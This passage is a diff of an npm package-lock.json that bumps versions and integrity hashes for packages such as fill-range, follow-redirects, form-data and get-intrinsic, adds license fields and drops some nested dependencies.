-      "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw=="
+      "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==",
+      "license": "MIT"
+    },
+    "node_modules/fast-uri": {
+      "version": "3.0.6",
+      "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.0.6.tgz",
+      "integrity": "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fastify"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/fastify"
+        }
+      ],
+      "license": "BSD-3-Clause"
     },
     "node_modules/fastq": {
-      "version": "1.17.1",
-      "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz",
-      "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==",
+      "version": "1.19.1",
+      "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz",
+      "integrity": "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==",
+      "license": "ISC",
       "dependencies": {
         "reusify": "^1.0.4"
       }
@@ -8496,6 +8644,7 @@
       "version": "0.11.4",
       "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz",
       "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==",
+      "license": "Apache-2.0",
       "dependencies": {
         "websocket-driver": ">=0.5.1"
       },
@@ -8507,6 +8656,7 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz",
       "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==",
+      "license": "Apache-2.0",
       "dependencies": {
         "bser": "2.1.1"
       }
@@ -8515,6 +8665,7 @@
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
       "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
+      "license": "MIT",
       "dependencies": {
         "flat-cache": "^3.0.4"
       },
@@ -8526,6 +8677,7 @@
       "version": "6.2.0",
       "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz",
       "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==",
+      "license": "MIT",
       "dependencies": {
         "loader-utils": "^2.0.0",
         "schema-utils": "^3.0.0"
@@ -8541,18 +8693,38 @@
         "webpack": "^4.0.0 || ^5.0.0"
       }
     },
+    "node_modules/file-loader/node_modules/schema-utils": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz",
+      "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/json-schema": "^7.0.8",
+        "ajv": "^6.12.5",
+        "ajv-keywords": "^3.5.2"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
     "node_modules/filelist": {
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz",
       "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==",
+      "license": "Apache-2.0",
       "dependencies": {
         "minimatch": "^5.0.1"
       }
     },
     "node_modules/filelist/node_modules/brace-expansion": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
-      "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
+      "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+      "license": "MIT",
       "dependencies": {
         "balanced-match": "^1.0.0"
       }
@@ -8561,6 +8733,7 @@
       "version": "5.1.6",
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz",
       "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==",
+      "license": "ISC",
       "dependencies": {
         "brace-expansion": "^2.0.1"
       },
@@ -8572,14 +8745,16 @@
       "version": "8.0.7",
       "resolved": "https://registry.npmjs.org/filesize/-/filesize-8.0.7.tgz",
       "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">= 0.4.0"
       }
     },
     "node_modules/fill-range": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
-      "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
+      "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
+      "license": "MIT",
       "dependencies": {
         "to-regex-range": "^5.0.1"
       },
@@ -8588,12 +8763,13 @@
       }
     },
     "node_modules/finalhandler": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz",
-      "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==",
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz",
+      "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==",
+      "license": "MIT",
       "dependencies": {
         "debug": "2.6.9",
-        "encodeurl": "~1.0.2",
+        "encodeurl": "~2.0.0",
         "escape-html": "~1.0.3",
         "on-finished": "2.4.1",
         "parseurl": "~1.3.3",
@@ -8608,6 +8784,7 @@
       "version": "2.6.9",
       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
       "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "license": "MIT",
       "dependencies": {
         "ms": "2.0.0"
       }
@@ -8615,12 +8792,14 @@
     "node_modules/finalhandler/node_modules/ms": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+      "license": "MIT"
     },
     "node_modules/find-cache-dir": {
       "version": "3.3.2",
       "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
       "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
+      "license": "MIT",
       "dependencies": {
         "commondir": "^1.0.1",
         "make-dir": "^3.0.2",
@@ -8637,6 +8816,7 @@
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
       "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^6.0.0",
         "path-exists": "^4.0.0"
@@ -8652,6 +8832,7 @@
       "version": "3.2.0",
       "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz",
       "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==",
+      "license": "MIT",
       "dependencies": {
         "flatted": "^3.2.9",
         "keyv": "^4.5.3",
@@ -8662,20 +8843,22 @@
       }
     },
     "node_modules/flatted": {
-      "version": "3.2.9",
-      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.9.tgz",
-      "integrity": "sha512-36yxDn5H7OFZQla0/jFJmbIKTdZAQHngCedGxiMmpNfEZM0sdEeT+WczLQrjK6D7o2aiyLYDnkw0R3JK0Qv1RQ=="
+      "version": "3.3.3",
+      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz",
+      "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==",
+      "license": "ISC"
     },
     "node_modules/follow-redirects": {
-      "version": "1.15.5",
-      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.5.tgz",
-      "integrity": "sha512-vSFWUON1B+yAw1VN4xMfxgn5fTUiaOzAJCKBwIIgT/+7CuGy9+r+5gITvP62j3RmaD5Ph65UaERdOSRGUzZtgw==",
+      "version": "1.15.9",
+      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
+      "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
       "funding": [
         {
           "type": "individual",
           "url": "https://github.com/sponsors/RubenVerborgh"
         }
       ],
+      "license": "MIT",
       "engines": {
         "node": ">=4.0"
       },
@@ -8686,19 +8869,27 @@
       }
     },
     "node_modules/for-each": {
-      "version": "0.3.3",
-      "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz",
-      "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==",
+      "version": "0.3.5",
+      "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz",
+      "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==",
+      "license": "MIT",
       "dependencies": {
-        "is-callable": "^1.1.3"
+        "is-callable": "^1.2.7"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/foreground-child": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.1.1.tgz",
-      "integrity": "sha512-TMKDUnIte6bfb5nWv7V/caI169OHgvwjb7V4WkeUvbQQdjr5rWKqHFiKWb/fcOwB+CzBT+qbWjvj+DVwRskpIg==",
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz",
+      "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==",
+      "license": "ISC",
       "dependencies": {
-        "cross-spawn": "^7.0.0",
+        "cross-spawn": "^7.0.6",
         "signal-exit": "^4.0.1"
       },
       "engines": {
@@ -8712,6 +8903,7 @@
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
       "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
+      "license": "ISC",
       "engines": {
         "node": ">=14"
       },
@@ -8723,6 +8915,7 @@
       "version": "6.5.3",
       "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.3.tgz",
       "integrity": "sha512-SbH/l9ikmMWycd5puHJKTkZJKddF4iRLyW3DeZ08HTI7NGyLS38MXd/KGgeWumQO7YNQbW2u/NtPT2YowbPaGQ==",
+      "license": "MIT",
       "dependencies": {
         "@babel/code-frame": "^7.8.3",
         "@types/json-schema": "^7.0.5",
@@ -8757,55 +8950,11 @@
         }
       }
     },
-    "node_modules/fork-ts-checker-webpack-plugin/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/fork-ts-checker-webpack-plugin/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
     "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": {
       "version": "6.0.0",
       "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz",
       "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==",
+      "license": "MIT",
       "dependencies": {
         "@types/parse-json": "^4.0.0",
         "import-fresh": "^3.1.0",
@@ -8821,6 +8970,7 @@
       "version": "9.1.0",
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
       "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+      "license": "MIT",
       "dependencies": {
         "at-least-node": "^1.0.0",
         "graceful-fs": "^4.2.0",
@@ -8831,29 +8981,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/fork-ts-checker-webpack-plugin/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/fork-ts-checker-webpack-plugin/node_modules/lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
-      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": {
       "version": "2.7.0",
       "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz",
       "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==",
+      "license": "MIT",
       "dependencies": {
         "@types/json-schema": "^7.0.4",
         "ajv": "^6.12.2",
@@ -8868,12 +9000,10 @@
       }
     },
     "node_modules/fork-ts-checker-webpack-plugin/node_modules/semver": {
-      "version": "7.6.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
-      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -8881,38 +9011,25 @@
         "node": ">=10"
       }
     },
-    "node_modules/fork-ts-checker-webpack-plugin/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/fork-ts-checker-webpack-plugin/node_modules/tapable": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz",
       "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
     },
-    "node_modules/fork-ts-checker-webpack-plugin/node_modules/yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
     "node_modules/form-data": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz",
-      "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.3.tgz",
+      "integrity": "sha512-q5YBMeWy6E2Un0nMGWMgI65MAKtaylxfNJGJxpGh45YDciZB4epbWpaAfImil6CPAPTYB4sh0URQNDRIZG5F2w==",
+      "license": "MIT",
       "dependencies": {
         "asynckit": "^0.4.0",
         "combined-stream": "^1.0.8",
-        "mime-types": "^2.1.12"
+        "es-set-tostringtag": "^2.1.0",
+        "mime-types": "^2.1.35"
       },
       "engines": {
         "node": ">= 6"
@@ -8922,6 +9039,7 @@
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
       "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -8930,6 +9048,7 @@
       "version": "4.3.7",
       "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz",
       "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==",
+      "license": "MIT",
       "engines": {
         "node": "*"
       },
@@ -8942,6 +9061,7 @@
       "version": "0.5.2",
       "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
       "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -8950,6 +9070,7 @@
       "version": "10.1.0",
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz",
       "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==",
+      "license": "MIT",
       "dependencies": {
         "graceful-fs": "^4.2.0",
         "jsonfile": "^6.0.1",
@@ -8960,20 +9081,23 @@
       }
     },
     "node_modules/fs-monkey": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.5.tgz",
-      "integrity": "sha512-8uMbBjrhzW76TYgEV27Y5E//W2f/lTFmx78P2w19FZSxarhI/798APGQyuGCwmkNxgwGRhrLfvWyLBvNtuOmew=="
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.6.tgz",
+      "integrity": "sha512-b1FMfwetIKymC0eioW7mTywihSQE4oLzQn1dB6rZB5fx/3NpNEdAWeCSMB+60/AeT0TCXsxzAlcYVEFCTAksWg==",
+      "license": "Unlicense"
     },
     "node_modules/fs.realpath": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
-      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
+      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
+      "license": "ISC"
     },
     "node_modules/fsevents": {
       "version": "2.3.3",
       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
       "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
       "hasInstallScript": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "darwin"
@@ -8986,19 +9110,23 @@
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
       "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/function.prototype.name": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.6.tgz",
-      "integrity": "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==",
+      "version": "1.1.8",
+      "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz",
+      "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "functions-have-names": "^1.2.3"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "define-properties": "^1.2.1",
+        "functions-have-names": "^1.2.3",
+        "hasown": "^2.0.2",
+        "is-callable": "^1.2.7"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9011,6 +9139,7 @@
       "version": "1.2.3",
       "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
       "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -9019,6 +9148,7 @@
       "version": "6.6.2",
       "resolved": "https://registry.npmjs.org/fuse.js/-/fuse.js-6.6.2.tgz",
       "integrity": "sha512-cJaJkxCCxC8qIIcPBF9yGxY0W/tVZS3uEISDxhYIdtk8OL93pe+6Zj7LjCqVV4dzbqcriOZ+kQ/NE4RXZHsIGA==",
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=10"
       }
@@ -9027,6 +9157,7 @@
       "version": "1.0.0-beta.2",
       "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
       "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
@@ -9035,20 +9166,27 @@
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
       "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
+      "license": "ISC",
       "engines": {
         "node": "6.* || 8.* || >= 10.*"
       }
     },
     "node_modules/get-intrinsic": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz",
-      "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==",
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
+      "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
+      "license": "MIT",
       "dependencies": {
+        "call-bind-apply-helpers": "^1.0.2",
+        "es-define-property": "^1.0.1",
         "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
         "function-bind": "^1.1.2",
-        "has-proto": "^1.0.1",
-        "has-symbols": "^1.0.3",
-        "hasown": "^2.0.0"
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "hasown": "^2.0.2",
+        "math-intrinsics": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9060,20 +9198,36 @@
     "node_modules/get-own-enumerable-property-symbols": {
       "version": "3.0.2",
